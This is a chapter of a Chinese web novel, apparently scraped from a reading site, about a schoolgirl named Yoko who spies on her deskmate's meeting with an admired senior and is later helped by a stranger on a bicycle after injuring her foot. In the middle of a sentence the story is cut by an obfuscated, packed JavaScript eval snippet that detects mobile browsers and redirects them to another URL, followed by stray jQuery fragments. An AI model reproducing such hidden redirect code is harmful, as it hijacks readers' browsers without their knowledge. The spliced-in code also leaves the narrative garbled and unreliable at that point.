默认冷灰
24号文字
方正启体

3. 野犬

作者:一梣一本书字数:K更新时间:
    由理安静地坐在教室里,一动不动地凝望着墙上的挂钟。


    ——五、四、三、二、一,来到下午四点十分。栗发女孩深吸一口气,握着手中的提包离开教室,轻车熟路地推门进了走廊尽头的“部活室(一)”。


    阳子有限的了解是,由理是班上少有没有参加任何部活的学生。她蹑手蹑脚地跟过去。百叶窗打开了一半,能让自己隐藏起身姿的同时,看见屋内的场景。


    堇子坐在沙发上看书。今天的上衣又换了熨斗目花色底烫银绘羽纹样,在未开灯的昏暗房间里呈现森冷的色调,散发着凛然难以靠近的气息。三年级以上的前辈拥有自由更换振袖样式的特权,肆无忌惮地展露不俗的品味与家境。由理打了个招呼,过去开灯。霎时间,头顶暖黄的光线将堇子松弛地笼在其中,像一只懒散的猫那般,原本森冷的气场无声无息地消失。


    由理坐到堇子身边,姿态由拘谨逐渐放松。两人小声地交谈,以由理诉说为主。堇子耐心地听着,紧蹙的眉头逐渐松开,仿佛得知了什么令人宽慰的好事。不同寻常的气息在房间里缓慢地流淌着。阳子一动不动盯着由理的侧脸,嗅到一丝陌生的粉扑的气息,意识到自己那朴素过分的同桌,今天破天荒地化了妆。


    一时无话。堇子绞着指头,从柜子里拿出准备好的茶点,在几案上摆开。阳子嗅到了香浓的黄油与牛奶咖啡热腾腾的气味——那氛围,与咖啡馆里约会的恋人并没什么差别。堇子那过分温和恬淡的姿态与她平日部活中冷若冰霜的模样反差过大,甚至令阳子惊悚,仿佛撕开了大前辈不为人知的内面。


    由理仍在吃吃吃,手腕细瘦如竹枝,腮帮子却鼓得像仓鼠。大她三年级的前辈就这样饶有兴致地在旁托腮看着,耐心地看着她吃完。由理随后像是恍然大悟般地回忆起什么,面上显出些微苦恼的神色,从包里拿出一只绘有泥金彩画的漆盒盛器,郑重地递到对方手里。堇子微笑接过,嘴型说着“谢谢”,打开来看时,竟是一个白棉布包袱。里面是两只樱色与抹茶色的糯米皮包豆馅的果子,很不起眼的素朴样式。作为谢礼,外表隆重得不合时宜,内里又寒碜了些、应当更上档次更精美一点才好——阳子忍不住遗憾。但屋内的两人似乎都不怎么在意,这种感慨也就止于内心。


    一对一的会面仍在继续,阳子却丧失了继续窥视的欲望,快步离开。最后映入眼帘的是两人眼波流转、猝不及防地四目相接的瞬间。阳子难以承认,傍晚的悠然时光与那画面很是相称。


    或许八卦者们总能比当事人更机敏地捕捉到哪怕一丝的风吹草动。很快新的流言不知由何而起:人人憧憬的今出川堇子已经秘密成为了某人的Soeurs。班里活泛的女生们眉飞色舞地讨论,说得有鼻子有眼,就是不清楚对方是何人。将一切都留心听在耳中的阳子试图从由理那里瞧出一丝端倪,然而什么都没有。


    那天之后,两人照常在下课后同路一小段。由理照常每周有那么几天独自行动,而阳子也心照不宣地不去打听她究竟去做什么——反正,松平家的侍卫官照常在学校周围出没。除非由理在他们眼皮子下消失,否则并无过分关注的必要。


    照例部活日,文化祭的西洋演奏会确定了全部表演曲目,音乐部员们投入到排练中。堇子依然是严谨冷淡的模样,有条不紊地安排与关注着每个曲目的进度。阳子倒是乐在其中,她阴暗地认为此时的堇子才展示出了与贵族身份相符的气度与距离感,这是女校的学生“应有的表率”。


    但无可遏制地,盘旋耳边的琐碎流言,与那一日猝不及防所见到的景象在脑内回闪。阳子逼迫自己收敛心神,认真排练。《康康舞曲》对两人来说难度不高,阳子练了几天也很快上手,重点在于两人的默契与配合度,尤其是一方独奏时另一方插入的时机。


    “今天的阳子似乎有心事?”


    “没有的事,前辈。”


    “刚才你的眼睛在到处乱瞟。”


    “最后一段,觉得节奏忽快忽慢,稍微有些在意。”


    “我明白了,那么重来吧。”


    纤细的指间在黑白相间的琴键上翻飞,细听就能发现两段不同八度的旋律在重合中有着显著差距。在业余爱好者阳子面前,经受过留洋专业声乐训练的堇子无疑才是演奏会的主角。即便旋律被彻底盖过,阳子也无所表示,只偶尔提出一点无伤大雅的意见。因为堇子这样说:“由我来带领就好。”


    庆幸,今天并没有堇子的迷妹叨扰。流言的中心今天出奇地安静,仿佛将某种蓄势待发的怒气掩藏起来,连带其他部员们大气都不敢出一口。


    排练即将结束,突然有人在门口探头探脑。来了一位面生的梳辫子的二年级生,端着满满一盘包得鼓鼓囊囊的饭团,通红着脸递进来,说着“堇子前辈今天也辛苦了,无论如何请收下这份心意补充元气吧。”


    阳子照常在默许下把东西接进来,在默许下将饭团分到每个人手里,大家在默许下大快朵颐吃了一顿简单的晚餐。从头到尾堇子脸上不曾流露出一丝动容,只是慢悠悠地喝着绿茶——阳子和其他部员一样,嘴里吃得开心,心中却有些悲哀:这种接受堇子的仰慕者们“供奉”的日子,似乎还将无休止地持续下去,不知到何时。况且,习惯之后大家都能理所当然、毫无歉疚地接受并享用了。


    很难说后辈对堇子的爱意有几分真。但长久观察下来,阳子觉得,那更像是把对方视作神像的信仰心。毕竟被莫名其妙选来膜拜的神像不会回应,只会以信仰为养料,平等却冷漠地爱怜世人。一旦神像有了明确的七情六欲与指向目标,就是信仰崩塌的开始。出于天然的不信任感,阳子无不罪恶地期待着“神像”崩塌的那天。


    然后她就被立刻被狠狠教训了。或许是老天爷要对这份刻薄之心施以惩戒,阳子踏出学校时趔趄了一下,在楼梯上绊了一跤。“咔哒”一声,皮靴的后跟在尖锐的水泥台阶边沿撞击下松动,很快膝盖也肿起老大一块。


    在学生们惊异的注视下,阳子摇摇晃晃地爬起来,故作若无其事地掸着袴上的尘土。


    ——啧。是可以忍耐的疼痛。就这么回家也不是不行,但缩手缩脚地拖着鞋跟走一路实在不成样子。左思右想,阳子招呼了一辆人力车,决定去最近的靴帽店买鞋。


    想着快点更换要紧,阳子没有仔细挑选,只匆忙试了几双就挑了一双看着最顺眼的换上,计划着多走几步将鞋穿得软和些。


    结果教训还在继续。看来不仅是在背后说人坏话、仅仅心中动了恶念都不行。硬邦邦的皮革散发着令人难堪的浓厚气味,与脚踝只隔着一层薄袜子反复摩擦,持续不断接触过后将皮肤磨得通红。想着姑且到家再处理,结果越走越快、越快越痛——阳子憋着一口气,再次意识到时,右脚后跟已经鲜血淋漓。


    坐在路边歇脚的阳子懊悔不迭。但绫小路家向来是没有用汽车接送女儿们上下课的习气,除非去附近喫茶店之类的地方大费周章地往家里打电话,忍着被父亲训斥的风险。


    总之,最好还是体面地忍耐。天色渐暗,阳子起身,然而每走一步后跟便痛得宛如刀割,好在鲜血洇在黑色的袜子上,外在看不出来。


    “嗤”地一声,一阵风朝阳子面门袭来。一名分明身着同款市椿校服的高个儿女孩骑着一架闪闪发亮的电镀自行车,大拐弯接急刹车停住,拦住了阳子的去路。


    “喂——我说,需要帮忙吗?”


    埋头揉脚跟的阳子被吓了一大跳,惶然抬头。女孩那一头及腰的茶色微卷长发,散乱地在脑后铺开。轮廓高挑颀长,微黑的面庞上,一对似乎带着倦怠的细眼直勾勾地看过来。


    “不,不要紧的……”


    “说什么傻话呢?右脚在流血哦。总之,得去处理一下。”


    “……诶?”


    “带你去附近的诊所。愣着干嘛,快上来。”


    分明是初次见面的陌生面孔,敬语也说得十分随意,随意到令人起疑。女孩用力拍了拍车后座,挑眉示意对方快点上来。


    鬼使神差地,无法拒绝。阳子腹诽着,犹犹豫豫地侧身跳了上去,虚虚地扶着女孩的腰。


    “坐稳了喔——”


    女孩像给自己鼓劲儿似的吆喝了一声,自行车骤然加速,在马路上威风凛凛地疾驰,带起阵阵风。阳子在学校里梳得很服帖的发丝被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609406|172132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吹得东倒西歪地糊在脸上,也糊住了视线。身前身后车流不断,而女孩却没有减速的意思,按着清脆的自行车铃,脚下蹬得分外起劲,在汽车间狭窄的通道里灵活地穿梭,令人看了捏一把汗。


    耳畔,喇叭与尾气浓烟的声音吵杂不断,阳子吓得几乎要闭紧双眼,小心地护着袴裙,生怕被卷进后轮中。自己再睁眼时,已经过了两个红绿灯路口。她敏锐地注意到,大马路上飞驰的汽车往来间,举目望去骑自行车的都是一身洋服的男性上班族,只有零星少数是女性,年轻姑娘就更少。身前的女孩儿哼着不知名的曲调,上半身随着蹬车的动作轻微摇晃着,似乎乐在其中。


    但阳子其实非常抵触马路——平日里去学校的路上,也尽量靠着人行道内侧走。这份抵触心一部分源于对未知事物的恐惧,一部分源于过分消极的心态,令她总有种靠近马路会被撞飞的错觉。人太多的地方、吵闹的地方、太明亮刺目的地方、扬起尘土的脏乱的地方、缺乏秩序的地方、往来都是粗野的人的地方——与她习惯的环境相去甚远,又太陌生。


    这也是她第一次坐在自行车上。父亲在家里曾一边看报一边训斥,认为未婚的姑娘们在人来人往的大马路上露出小腿蹬自行车简直“有伤风化”。但眼下自己缩紧身体侧坐在后座,和打铃电车、小汽车之类的大家伙擦身而过、与两侧的行人猝不及防地双目交汇时,反而有种刺激的冒险般的快意。


    “喏,到啦。”


    晃神期间,车子已经在一个阳子不认识的铺面门口停住,门上挂着一面许久没洗以至于发灰发暗的十字旗。女孩几乎半个主人的模样,大喊着打开拉门:“奶奶,是我,真子!”


    一个穿白围裙的老妇人从散发着浓重药味的房间深处慢悠悠地走出来,用含混不清的声音和女孩寒暄了一阵,这才打开顶灯。目及之处是个迷你的小诊疗室——靠墙的整面乌油油的玻璃柜子里堆满了各色药品与纱布,靠着药柜将将摆开一张木桌和一把椅子,紧接着一张半旧的诊疗床占据了大部分剩余空间。


    “哟,这孩子怎么了?”


    “右脚被鞋子磨出血了。奶奶给稍微处理一下,不然会破伤风的。”


    “啊?啊?哦哦,右脚……”


    阳子勉强在诊疗床边坐下来,脱掉袜子露出快要结痂的右脚脚踝。老妇人似乎有些耳背,嘴里念叨着,起身从桌下的抽屉里拿出一盘处理用具。紧接着不由说分抓住阳子的脚踝,夹了一团发黄的棉花,蘸着酒精往伤口上很随意地涂了一大圈。随后将贴着绷带的消毒纱布贴在伤处,就算处理好了。


    阳子痛得急促地尖叫一声,身子瑟缩了一下。她从未遇到过动作这么粗暴的医护。女孩儿一手撑着门框,另一只手有些不耐烦地摆弄着衣带,仿佛看新大陆般目不转睛地盯着她,双唇微微翕动。等阳子小心地穿好袜子,才斟酌着开口。在阳子听起来分明是关心的意思,口吻却很草率,仿佛故意要显露自身的粗鄙态度一般。


    “一点儿小伤,几天就会好的。是不是还得去买双鞋?丸之内那种地方才有舒服点儿的软底鞋穿呢。不然,就只能姑且买双木屐凑合一下了。”


    “不用了。”


    “你走不回去吧?啧,我好人做到底,再送你一段路得了。”


    “啊?不必了。”


    阳子打心眼里觉得那语气很不舒服,暗暗赌着气穿好鞋起身,企图镇定地走出去——刚走出两步,万恶的皮鞋帮就与袜子摩擦着发出咯吱咯吱的摩擦声,随着踏出去的每一步有规律地袭来阵痛,痛得她打了个趔趄。


    “……真爱逞能呢。”


    女孩叹着气,灵活地从阳子身边经过,率先出门坐到车上,朝她亮出后座,脸上表情依然是似笑非笑的样子,仿佛早预料到有此发展。阳子又羞又恼,但进退两难中,还是埋着头跳上了女孩的自行车后座。


    “地址,报给我。快点。”


    “……找得到路吗?”


    “放心吧。”


    阳子报上了一串麹町区开头的地名,是那种对人力车夫而言一听就知道是富人聚居的地址。女孩听完毫无反应,点头说“知道了”就开始骑车。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)